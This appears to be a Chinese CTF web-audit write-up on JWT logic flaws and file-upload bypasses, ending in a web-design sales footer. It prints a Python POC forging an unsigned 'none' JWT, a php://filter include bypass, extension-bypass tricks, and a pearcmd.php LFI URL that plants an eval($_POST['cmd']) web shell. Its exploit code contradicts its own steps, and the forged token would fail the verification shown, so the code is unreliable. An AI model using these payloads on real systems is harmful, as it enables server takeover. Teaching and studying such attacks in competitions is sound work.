CTF Web 漏洞审计:3 类 JWT 与文件上传绕过实战案例分析
2026/7/12 1:33:57 网站建设 项目流程

CTF Web漏洞审计:JWT逻辑缺陷与文件上传绕过深度剖析

1. 漏洞审计方法论

Web安全竞赛中,漏洞审计能力是区分选手水平的关键指标。本文将聚焦两类高频漏洞:JWT逻辑缺陷和文件上传绕过,通过真实赛题还原攻击链,提炼可复用的审计方法论。

漏洞审计核心流程:

  1. 输入点定位(参数、Cookie、文件等)
  2. 数据流追踪(前后端交互逻辑)
  3. 安全机制验证(签名、过滤、权限等)
  4. 异常路径构造(边界条件测试)

提示:审计时应重点关注业务逻辑与安全控制的交叉点,这类位置常出现设计缺陷

2. JWT逻辑缺陷实战

2.1 JWT基础结构分析

JSON Web Token通常由三部分组成:

header.payload.signature

典型header示例:

{ "alg": "HS256", "typ": "JWT" }

常见漏洞触发点:

  • 头部alg字段篡改(none算法)
  • 密钥暴力破解(弱密钥)
  • 签名验证缺失
  • 业务逻辑绕过

2.2 赛题案例:CoolIndex权限绕过

题目关键代码片段:

try { const decoded = jwt.verify(token, JWT_SECRET); if (decoded.sub !== "premium" && index >= 7) { return res.status(403).json({ message: "需订阅高级会员" }); } index = parseInt(index); // 关键漏洞点 } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录" }); }

漏洞利用步骤:

  1. 注册普通用户获取初始JWT
  2. 修改payload中的sub字段为"premium"
  3. 构造index参数为"7abc"触发类型混淆
  4. parseInt("7abc")返回数字7绕过校验

自动化POC脚本:

import jwt import requests def exploit(): base_url = "http://target.com/api" token = jwt.encode({"sub":"user","iat":1516239022}, "", algorithm="none") params = {"index": "7abc"} cookies = {"token": token} r = requests.get(f"{base_url}/articles", params=params, cookies=cookies) print(r.json())

3. 文件上传绕过技巧

3.1 黑名单绕过矩阵

过滤方式绕过方法适用场景
扩展名检测.php5/.phtml/.pharApache解析漏洞
内容检测添加GIF头/短标签PHP配置宽松
大小写过滤.PhP/.pHpWindows服务器
特殊字符%00截断/双扩展名旧版PHP版本

3.2 赛题案例:UpgdStore双重过滤绕过

题目采用双层防御:

  1. 扩展名白名单:仅允许.php
  2. 内容黑名单:过滤$_eval等关键词

创新绕过方案:

  1. 上传base.php(内容经base64编码)
  2. 上传shell.php包含编码文件:
<?php include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1iYXNlLnBocA=='));
  1. 利用php://filter链实现解码执行

防御方案对比:

  • 不安全实现:仅检查文件头
  • 推荐方案:文件内容AST解析 + 沙箱执行检测

4. 漏洞组合利用

4.1 Pearcmd.php LFI到RCE

经典攻击链构造:

/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['cmd']);?>+/tmp/shell.php

关键步骤解析:

  1. 利用pearcmd.php的config-create功能
  2. 注入PHP代码到临时文件
  3. 通过LFI包含生成的后门文件

4.2 防御深度强化方案

  1. 禁用危险函数(putenv、dl等)
  2. 设置open_basedir限制
  3. 定期更新PEAR组件
  4. 实施文件操作日志审计

5. 自动化审计工具链

推荐工具组合:

  • 静态分析:Semgrep(自定义规则检测JWT问题)
  • 动态测试:Burp API Scanner(自动化参数变异)
  • 流量分析:Wireshark(异常协议检测)
  • 自定义脚本:Python + Requests库(精准POC验证)

典型检测规则示例(Semgrep):

rules: - id: jwt-none-alg pattern: 'jwt.decode(..., {..., "algorithms": ["none"]})' message: "JWT accepting 'none' algorithm" severity: WARNING

在实战中,真正的漏洞往往藏在业务逻辑的灰色地带。记得在某次比赛中,通过分析用户权限状态转换时的时序问题,最终实现了从普通用户到超级管理员的垂直越权。这种深层次的逻辑漏洞,往往需要审计者具备系统级的思维视角。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询